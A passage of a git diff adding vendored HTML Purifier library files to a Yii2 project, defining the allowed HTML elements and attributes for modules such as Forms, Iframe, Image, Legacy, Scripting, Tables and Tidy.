means undefined behavior. This might + // be difficult to implement; perhaps an injector, or a context variable. + + $textarea = $this->addElement( + 'textarea', + 'Formctrl', + 'Optional: #PCDATA', + 'Common', + array( + 'accesskey' => 'Character', + 'cols*' => 'Number', + 'disabled' => 'Bool#disabled', + 'name' => 'CDATA', + 'readonly' => 'Bool#readonly', + 'rows*' => 'Number', + 'tabindex' => 'Number', + ) + ); + $textarea->attr_transform_pre[] = new HTMLPurifier_AttrTransform_Textarea(); + + $button = $this->addElement( + 'button', + 'Formctrl', + 'Optional: #PCDATA | Heading | List | Block | Inline', + 'Common', + array( + 'accesskey' => 'Character', + 'disabled' => 'Bool#disabled', + 'name' => 'CDATA', + 'tabindex' => 'Number', + 'type' => 'Enum#button,submit,reset', + 'value' => 'CDATA', + ) + ); + + // For exclusions, ideally we'd specify content sets, not literal elements + $button->excludes = $this->makeLookup( + 'form', + 'fieldset', // Form + 'input', + 'select', + 'textarea', + 'label', + 'button', // Formctrl + 'a', // as per HTML 4.01 spec, this is omitted by modularization + 'isindex', + 'iframe' // legacy items + ); + + // Extra exclusion: img usemap="" is not permitted within this element. + // We'll omit this for now, since we don't have any good way of + // indicating it yet. + + // This is HIGHLY user-unfriendly; we need a custom child-def for this + $this->addElement('fieldset', 'Form', 'Custom: (#WS?,legend,(Flow|#PCDATA)*)', 'Common'); + + $label = $this->addElement( + 'label', + 'Formctrl', + 'Optional: #PCDATA | Inline', + 'Common', + array( + 'accesskey' => 'Character', + // 'for' => 'IDREF', // IDREF not implemented, cannot allow + ) + ); + $label->excludes = array('label' => true); + + $this->addElement( + 'legend', + false, + 'Optional: #PCDATA | Inline', + 'Common', + array( + 'accesskey' => 'Character', + ) + ); + + $this->addElement( + 'optgroup', + false, + 'Required: option', + 'Common', + array( + 'disabled' => 'Bool#disabled', + 'label*' => 'Text', + ) + ); + // Don't forget an injector for . This one's a little complex + // because it maps to multiple elements. + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php new file mode 100644 index 00000000..72d7a31e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php @@ -0,0 +1,40 @@ +addElement( + 'a', + 'Inline', + 'Inline', + 'Common', + array( + // 'accesskey' => 'Character', + // 'charset' => 'Charset', + 'href' => 'URI', + // 'hreflang' => 'LanguageCode', + 'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'), + 'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'), + // 'tabindex' => 'Number', + // 'type' => 'ContentType', + ) + ); + $a->formatting = true; + $a->excludes = array('a' => true); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php new file mode 100644 index 00000000..f7e7c91c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php @@ -0,0 +1,51 @@ +get('HTML.SafeIframe')) { + $this->safe = true; + } + $this->addElement( + 'iframe', + 'Inline', + 'Flow', + 'Common', + array( + 'src' => 'URI#embedded', + 'width' => 'Length', + 'height' => 'Length', + 'name' => 'ID', + 'scrolling' => 'Enum#yes,no,auto', + 'frameborder' => 'Enum#0,1', + 'longdesc' => 'URI', + 'marginheight' => 'Pixels', + 'marginwidth' => 'Pixels', + ) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php new file mode 100644 index 00000000..0f5fdb3b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php @@ -0,0 +1,49 @@ +get('HTML.MaxImgLength'); + $img = $this->addElement( + 'img', + 'Inline', + 'Empty', + 'Common', + array( + 'alt*' => 'Text', + // According to the spec, it's Length, but percents can + // be abused, so we allow only Pixels. + 'height' => 'Pixels#' . $max, + 'width' => 'Pixels#' . $max, + 'longdesc' => 'URI', + 'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded + ) + ); + if ($max === null || $config->get('HTML.Trusted')) { + $img->attr['height'] = + $img->attr['width'] = 'Length'; + } + + // kind of strange, but splitting things up would be inefficient + $img->attr_transform_pre[] = + $img->attr_transform_post[] = + new HTMLPurifier_AttrTransform_ImgRequired(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php new file mode 100644 index 00000000..86b52995 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php @@ -0,0 +1,186 @@ +addElement( + 'basefont', + 'Inline', + 'Empty', + null, + array( + 'color' => 'Color', + 'face' => 'Text', // extremely broad, we should + 'size' => 'Text', // tighten it + 'id' => 'ID' + ) + ); + $this->addElement('center', 'Block', 'Flow', 'Common'); + $this->addElement( + 'dir', + 'Block', + 'Required: li', + 'Common', + array( + 'compact' => 'Bool#compact' + ) + ); + $this->addElement( + 'font', + 'Inline', + 'Inline', + array('Core', 'I18N'), + array( + 'color' => 'Color', + 'face' => 'Text', // extremely broad, we should + 'size' => 'Text', // tighten it + ) + ); + $this->addElement( + 'menu', + 'Block', + 'Required: li', + 'Common', + array( + 'compact' => 'Bool#compact' + ) + ); + + $s = $this->addElement('s', 'Inline', 'Inline', 'Common'); + $s->formatting = true; + + $strike = $this->addElement('strike', 'Inline', 'Inline', 'Common'); + $strike->formatting = true; + + $u = $this->addElement('u', 'Inline', 'Inline', 'Common'); + $u->formatting = true; + + // setup modifications to old elements + + $align = 'Enum#left,right,center,justify'; + + $address = $this->addBlankElement('address'); + $address->content_model = 'Inline | #PCDATA | p'; + $address->content_model_type = 'optional'; + $address->child = false; + + $blockquote = $this->addBlankElement('blockquote'); + $blockquote->content_model = 'Flow | #PCDATA'; + $blockquote->content_model_type = 'optional'; + $blockquote->child = false; + + $br = $this->addBlankElement('br'); + $br->attr['clear'] = 'Enum#left,all,right,none'; + + $caption = $this->addBlankElement('caption'); + $caption->attr['align'] = 'Enum#top,bottom,left,right'; + + $div = $this->addBlankElement('div'); + $div->attr['align'] = $align; + + $dl = $this->addBlankElement('dl'); + $dl->attr['compact'] = 'Bool#compact'; + + for ($i = 1; $i <= 6; $i++) { + $h = $this->addBlankElement("h$i"); + $h->attr['align'] = $align; + } + + $hr = $this->addBlankElement('hr'); + $hr->attr['align'] = $align; + $hr->attr['noshade'] = 'Bool#noshade'; + $hr->attr['size'] = 'Pixels'; + $hr->attr['width'] = 'Length'; + + $img = $this->addBlankElement('img'); + $img->attr['align'] = 'IAlign'; + $img->attr['border'] = 'Pixels'; + $img->attr['hspace'] = 'Pixels'; + $img->attr['vspace'] = 'Pixels'; + + // figure out this integer business + + $li = $this->addBlankElement('li'); + $li->attr['value'] = new HTMLPurifier_AttrDef_Integer(); + $li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle'; + + $ol = $this->addBlankElement('ol'); + $ol->attr['compact'] = 'Bool#compact'; + $ol->attr['start'] = new HTMLPurifier_AttrDef_Integer(); + $ol->attr['type'] = 'Enum#s:1,i,I,a,A'; + + $p = $this->addBlankElement('p'); + $p->attr['align'] = $align; + + $pre = $this->addBlankElement('pre'); + $pre->attr['width'] = 'Number'; + + // script omitted + + $table = $this->addBlankElement('table'); + $table->attr['align'] = 'Enum#left,center,right'; + $table->attr['bgcolor'] = 'Color'; + + $tr = $this->addBlankElement('tr'); + $tr->attr['bgcolor'] = 'Color'; + + $th = $this->addBlankElement('th'); + $th->attr['bgcolor'] = 'Color'; + $th->attr['height'] = 'Length'; + $th->attr['nowrap'] = 'Bool#nowrap'; + $th->attr['width'] = 'Length'; + + $td = $this->addBlankElement('td'); + $td->attr['bgcolor'] = 'Color'; + $td->attr['height'] = 'Length'; + $td->attr['nowrap'] = 'Bool#nowrap'; + $td->attr['width'] = 'Length'; + + $ul = $this->addBlankElement('ul'); + $ul->attr['compact'] = 'Bool#compact'; + $ul->attr['type'] = 'Enum#square,disc,circle'; + + // "safe" modifications to "unsafe" elements + // WARNING: If you want to add support for an unsafe, legacy + // attribute, make a new TrustedLegacy module with the trusted + // bit set appropriately + + $form = $this->addBlankElement('form'); + $form->content_model = 'Flow | #PCDATA'; + $form->content_model_type = 'optional'; + $form->attr['target'] = 'FrameTarget'; + + $input = $this->addBlankElement('input'); + $input->attr['align'] = 'IAlign'; + + $legend = $this->addBlankElement('legend'); + $legend->attr['align'] = 'LAlign'; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php new file mode 100644 index 00000000..7a20ff70 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php @@ -0,0 +1,51 @@ + 'List'); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $ol = $this->addElement('ol', 'List', new HTMLPurifier_ChildDef_List(), 'Common'); + $ul = $this->addElement('ul', 'List', new HTMLPurifier_ChildDef_List(), 'Common'); + // XXX The wrap attribute is handled by MakeWellFormed. This is all + // quite unsatisfactory, because we generated this + // *specifically* for lists, and now a big chunk of the handling + // is done properly by the List ChildDef. So actually, we just + // want enough information to make autoclosing work properly, + // and then hand off the tricky stuff to the ChildDef. + $ol->wrap = 'li'; + $ul->wrap = 'li'; + $this->addElement('dl', 'List', 'Required: dt | dd', 'Common'); + + $this->addElement('li', false, 'Flow', 'Common'); + + $this->addElement('dd', false, 'Flow', 'Common'); + $this->addElement('dt', false, 'Inline', 'Common'); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php new file mode 100644 index 00000000..60c05451 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php @@ -0,0 +1,26 @@ +addBlankElement($name); + $element->attr['name'] = 'CDATA'; + if (!$config->get('HTML.Attr.Name.UseCDATA')) { + $element->attr_transform_post[] = new HTMLPurifier_AttrTransform_NameSync(); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php new file mode 100644 index 00000000..dc9410a8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php @@ -0,0 +1,25 @@ +addBlankElement('a'); + $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_Nofollow(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php new file mode 100644 index 00000000..da722253 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php @@ -0,0 +1,20 @@ + array( + 'lang' => 'LanguageCode', + ) + ); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php new file mode 100644 index 00000000..2f9efc5c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php @@ -0,0 +1,62 @@ + to cater to legacy browsers: this + * module does not allow this sort of behavior + */ +class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule +{ + /** + * @type string + */ + public $name = 'Object'; + + /** + * @type bool + */ + public $safe = false; + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $this->addElement( + 'object', + 'Inline', + 'Optional: #PCDATA | Flow | param', + 'Common', + array( + 'archive' => 'URI', + 'classid' => 'URI', + 'codebase' => 'URI', + 'codetype' => 'Text', + 'data' => 'URI', + 'declare' => 'Bool#declare', + 'height' => 'Length', + 'name' => 'CDATA', + 'standby' => 'Text', + 'tabindex' => 'Number', + 'type' => 'ContentType', + 'width' => 'Length' + ) + ); + + $this->addElement( + 'param', + false, + 'Empty', + null, + array( + 'id' => 'ID', + 'name*' => 'Text', + 'type' => 'Text', + 'value' => 'Text', + 'valuetype' => 'Enum#data,ref,object' + ) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php new file mode 100644 index 00000000..6458ce9d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php @@ -0,0 +1,42 @@ +addElement('hr', 'Block', 'Empty', 'Common'); + $this->addElement('sub', 'Inline', 'Inline', 'Common'); + $this->addElement('sup', 'Inline', 'Inline', 'Common'); + $b = $this->addElement('b', 'Inline', 'Inline', 'Common'); + $b->formatting = true; + $big = $this->addElement('big', 'Inline', 'Inline', 'Common'); + $big->formatting = true; + $i = $this->addElement('i', 'Inline', 'Inline', 'Common'); + $i->formatting = true; + $small = $this->addElement('small', 'Inline', 'Inline', 'Common'); + $small->formatting = true; + $tt = $this->addElement('tt', 'Inline', 'Inline', 'Common'); + $tt->formatting = true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php new file mode 100644 index 00000000..5ee3c8e6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php @@ -0,0 +1,40 @@ +addElement( + 'marquee', + 'Inline', + 'Flow', + 'Common', + array( + 'direction' => 'Enum#left,right,up,down', + 'behavior' => 'Enum#alternate', + 'width' => 'Length', + 'height' => 'Length', + 'scrolldelay' => 'Number', + 'scrollamount' => 'Number', + 'loop' => 'Number', + 'bgcolor' => 'Color', + 'hspace' => 'Pixels', + 'vspace' => 'Pixels', + ) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php new file mode 100644 index 00000000..a0d48924 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php @@ -0,0 +1,36 @@ +addElement( + 'ruby', + 'Inline', + 'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))', + 'Common' + ); + $this->addElement('rbc', false, 'Required: rb', 'Common'); + $this->addElement('rtc', false, 'Required: rt', 'Common'); + $rb = $this->addElement('rb', false, 'Inline', 'Common'); + $rb->excludes = array('ruby' => true); + $rt = $this->addElement('rt', false, 'Inline', 'Common', array('rbspan' => 'Number')); + $rt->excludes = array('ruby' => true); + $this->addElement('rp', false, 'Optional: #PCDATA', 'Common'); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php new file mode 100644 index 00000000..04e6689e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php @@ -0,0 +1,40 @@ +get('HTML.MaxImgLength'); + $embed = $this->addElement( + 'embed', + 'Inline', + 'Empty', + 'Common', + array( + 'src*' => 'URI#embedded', + 'type' => 'Enum#application/x-shockwave-flash', + 'width' => 'Pixels#' . $max, + 'height' => 'Pixels#' . $max, + 'allowscriptaccess' => 'Enum#never', + 'allownetworking' => 'Enum#internal', + 'flashvars' => 'Text', + 'wmode' => 'Enum#window,transparent,opaque', + 'name' => 'ID', + ) + ); + $embed->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeEmbed(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php new file mode 100644 index 00000000..1297f80a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php @@ -0,0 +1,62 @@ +get('HTML.MaxImgLength'); + $object = $this->addElement( + 'object', + 'Inline', + 'Optional: param | Flow | #PCDATA', + 'Common', + array( + // While technically not required by the spec, we're forcing + // it to this value. + 'type' => 'Enum#application/x-shockwave-flash', + 'width' => 'Pixels#' . $max, + 'height' => 'Pixels#' . $max, + 'data' => 'URI#embedded', + 'codebase' => new HTMLPurifier_AttrDef_Enum( + array( + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0' + ) + ), + ) + ); + $object->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeObject(); + + $param = $this->addElement( + 'param', + false, + 'Empty', + false, + array( + 'id' => 'ID', + 'name*' => 'Text', + 'value' => 'Text' + ) + ); + $param->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeParam(); + $this->info_injector[] = 'SafeObject'; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php new file mode 100644 index 00000000..0330cd97 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php @@ -0,0 +1,40 @@ +get('HTML.SafeScripting'); + $script = $this->addElement( + 'script', + 'Inline', + 'Empty', + null, + array( + // While technically not required by the spec, we're forcing + // it to this value. + 'type' => 'Enum#text/javascript', + 'src*' => new HTMLPurifier_AttrDef_Enum(array_keys($allowed)) + ) + ); + $script->attr_transform_pre[] = + $script->attr_transform_post[] = new HTMLPurifier_AttrTransform_ScriptRequired(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php new file mode 100644 index 00000000..8b28a7b7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php @@ -0,0 +1,73 @@ + 'script | noscript', 'Inline' => 'script | noscript'); + + /** + * @type bool + */ + public $safe = false; + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + // TODO: create custom child-definition for noscript that + // auto-wraps stray #PCDATA in a similar manner to + // blockquote's custom definition (we would use it but + // blockquote's contents are optional while noscript's contents + // are required) + + // TODO: convert this to new syntax, main problem is getting + // both content sets working + + // In theory, this could be safe, but I don't see any reason to + // allow it. + $this->info['noscript'] = new HTMLPurifier_ElementDef(); + $this->info['noscript']->attr = array(0 => array('Common')); + $this->info['noscript']->content_model = 'Heading | List | Block'; + $this->info['noscript']->content_model_type = 'required'; + + $this->info['script'] = new HTMLPurifier_ElementDef(); + $this->info['script']->attr = array( + 'defer' => new HTMLPurifier_AttrDef_Enum(array('defer')), + 'src' => new HTMLPurifier_AttrDef_URI(true), + 'type' => new HTMLPurifier_AttrDef_Enum(array('text/javascript')) + ); + $this->info['script']->content_model = '#PCDATA'; + $this->info['script']->content_model_type = 'optional'; + $this->info['script']->attr_transform_pre[] = + $this->info['script']->attr_transform_post[] = + new HTMLPurifier_AttrTransform_ScriptRequired(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php new file mode 100644 index 00000000..497b832a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php @@ -0,0 +1,33 @@ + array('style' => false), // see constructor + 'Core' => array(0 => array('Style')) + ); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $this->attr_collections['Style']['style'] = new HTMLPurifier_AttrDef_CSS(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php new file mode 100644 index 00000000..8a0b3b46 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php @@ -0,0 +1,75 @@ +addElement('caption', false, 'Inline', 'Common'); + + $this->addElement( + 'table', + 'Block', + new HTMLPurifier_ChildDef_Table(), + 'Common', + array( + 'border' => 'Pixels', + 'cellpadding' => 'Length', + 'cellspacing' => 'Length', + 'frame' => 'Enum#void,above,below,hsides,lhs,rhs,vsides,box,border', + 'rules' => 'Enum#none,groups,rows,cols,all', + 'summary' => 'Text', + 'width' => 'Length' + ) + ); + + // common attributes + $cell_align = array( + 'align' => 'Enum#left,center,right,justify,char', + 'charoff' => 'Length', + 'valign' => 'Enum#top,middle,bottom,baseline', + ); + + $cell_t = array_merge( + array( + 'abbr' => 'Text', + 'colspan' => 'Number', + 'rowspan' => 'Number', + // Apparently, as of HTML5 this attribute only applies + // to 'th' elements. + 'scope' => 'Enum#row,col,rowgroup,colgroup', + ), + $cell_align + ); + $this->addElement('td', false, 'Flow', 'Common', $cell_t); + $this->addElement('th', false, 'Flow', 'Common', $cell_t); + + $this->addElement('tr', false, 'Required: td | th', 'Common', $cell_align); + + $cell_col = array_merge( + array( + 'span' => 'Number', + 'width' => 'MultiLength', + ), + $cell_align + ); + $this->addElement('col', false, 'Empty', 'Common', $cell_col); + $this->addElement('colgroup', false, 'Optional: col', 'Common', $cell_col); + + $this->addElement('tbody', false, 'Required: tr', 'Common', $cell_align); + $this->addElement('thead', false, 'Required: tr', 'Common', $cell_align); + $this->addElement('tfoot', false, 'Required: tr', 'Common', $cell_align); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php new file mode 100644 index 00000000..b188ac93 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php @@ -0,0 +1,28 @@ +addBlankElement($name); + $e->attr = array( + 'target' => new HTMLPurifier_AttrDef_HTML_FrameTarget() + ); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php new file mode 100644 index 00000000..58ccc689 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php @@ -0,0 +1,24 @@ +addBlankElement('a'); + $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_TargetBlank(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php new file mode 100644 index 00000000..7a65e004 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php @@ -0,0 +1,87 @@ + 'Heading | Block | Inline' + ); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + // Inline Phrasal ------------------------------------------------- + $this->addElement('abbr', 'Inline', 'Inline', 'Common'); + $this->addElement('acronym', 'Inline', 'Inline', 'Common'); + $this->addElement('cite', 'Inline', 'Inline', 'Common'); + $this->addElement('dfn', 'Inline', 'Inline', 'Common'); + $this->addElement('kbd', 'Inline', 'Inline', 'Common'); + $this->addElement('q', 'Inline', 'Inline', 'Common', array('cite' => 'URI')); + $this->addElement('samp', 'Inline', 'Inline', 'Common'); + $this->addElement('var', 'Inline', 'Inline', 'Common'); + + $em = $this->addElement('em', 'Inline', 'Inline', 'Common'); + $em->formatting = true; + + $strong = $this->addElement('strong', 'Inline', 'Inline', 'Common'); + $strong->formatting = true; + + $code = $this->addElement('code', 'Inline', 'Inline', 'Common'); + $code->formatting = true; + + // Inline Structural ---------------------------------------------- + $this->addElement('span', 'Inline', 'Inline', 'Common'); + $this->addElement('br', 'Inline', 'Empty', 'Core'); + + // Block Phrasal -------------------------------------------------- + $this->addElement('address', 'Block', 'Inline', 'Common'); + $this->addElement('blockquote', 'Block', 'Optional: Heading | Block | List', 'Common', array('cite' => 'URI')); + $pre = $this->addElement('pre', 'Block', 'Inline', 'Common'); + $pre->excludes = $this->makeLookup( + 'img', + 'big', + 'small', + 'object', + 'applet', + 'font', + 'basefont' + ); + $this->addElement('h1', 'Heading', 'Inline', 'Common'); + $this->addElement('h2', 'Heading', 'Inline', 'Common'); + $this->addElement('h3', 'Heading', 'Inline', 'Common'); + $this->addElement('h4', 'Heading', 'Inline', 'Common'); + $this->addElement('h5', 'Heading', 'Inline', 'Common'); + $this->addElement('h6', 'Heading', 'Inline', 'Common'); + + // Block Structural ----------------------------------------------- + $p = $this->addElement('p', 'Block', 'Inline', 'Common'); + $p->autoclose = array_flip( + array("address", "blockquote", "center", "dir", "div", "dl", "fieldset", "ol", "p", "ul") + ); + + $this->addElement('div', 'Block', 'Flow', 'Common'); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php new file mode 100644 index 00000000..08aa2324 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php @@ -0,0 +1,230 @@ + 'none', 'light', 'medium', 'heavy'); + + /** + * Default level to place all fixes in. + * Disabled by default. + * @type string + */ + public $defaultLevel = null; + + /** + * Lists of fixes used by getFixesForLevel(). + * Format is: + * HTMLModule_Tidy->fixesForLevel[$level] = array('fix-1', 'fix-2'); + * @type array + */ + public $fixesForLevel = array( + 'light' => array(), + 'medium' => array(), + 'heavy' => array() + ); + + /** + * Lazy load constructs the module by determining the necessary + * fixes to create and then delegating to the populate() function. + * @param HTMLPurifier_Config $config + * @todo Wildcard matching and error reporting when an added or + * subtracted fix has no effect. + */ + public function setup($config) + { + // create fixes, initialize fixesForLevel + $fixes = $this->makeFixes(); + $this->makeFixesForLevel($fixes); + + // figure out which fixes to use + $level = $config->get('HTML.TidyLevel'); + $fixes_lookup = $this->getFixesForLevel($level); + + // get custom fix declarations: these need namespace processing + $add_fixes = $config->get('HTML.TidyAdd'); + $remove_fixes = $config->get('HTML.TidyRemove'); + + foreach ($fixes as $name => $fix) { + // needs to be refactored a little to implement globbing + if (isset($remove_fixes[$name]) || + (!isset($add_fixes[$name]) && !isset($fixes_lookup[$name]))) { + unset($fixes[$name]); + } + } + + // populate this module with necessary fixes + $this->populate($fixes); + } + + /** + * Retrieves all fixes per a level, returning fixes for that specific + * level as well as all levels below it. + * @param string $level level identifier, see $levels for valid values + * @return array Lookup up table of fixes + */ + public function getFixesForLevel($level) + { + if ($level == $this->levels[0]) { + return array(); + } + $activated_levels = array(); + for ($i = 1, $c = count($this->levels); $i < $c; $i++) { + $activated_levels[] = $this->levels[$i]; + if ($this->levels[$i] == $level) { + break; + } + } + if ($i == $c) { + trigger_error( + 'Tidy level ' . htmlspecialchars($level) . ' not recognized', + E_USER_WARNING + ); + return array(); + } + $ret = array(); + foreach ($activated_levels as $level) { + foreach ($this->fixesForLevel[$level] as $fix) { + $ret[$fix] = true; + } + } + return $ret; + } + + /** + * Dynamically populates the $fixesForLevel member variable using + * the fixes array. It may be custom overloaded, used in conjunction + * with $defaultLevel, or not used at all. + * @param array $fixes + */ + public function makeFixesForLevel($fixes) + { + if (!isset($this->defaultLevel)) { + return; + } + if (!isset($this->fixesForLevel[$this->defaultLevel])) { + trigger_error( + 'Default level ' . $this->defaultLevel . ' does not 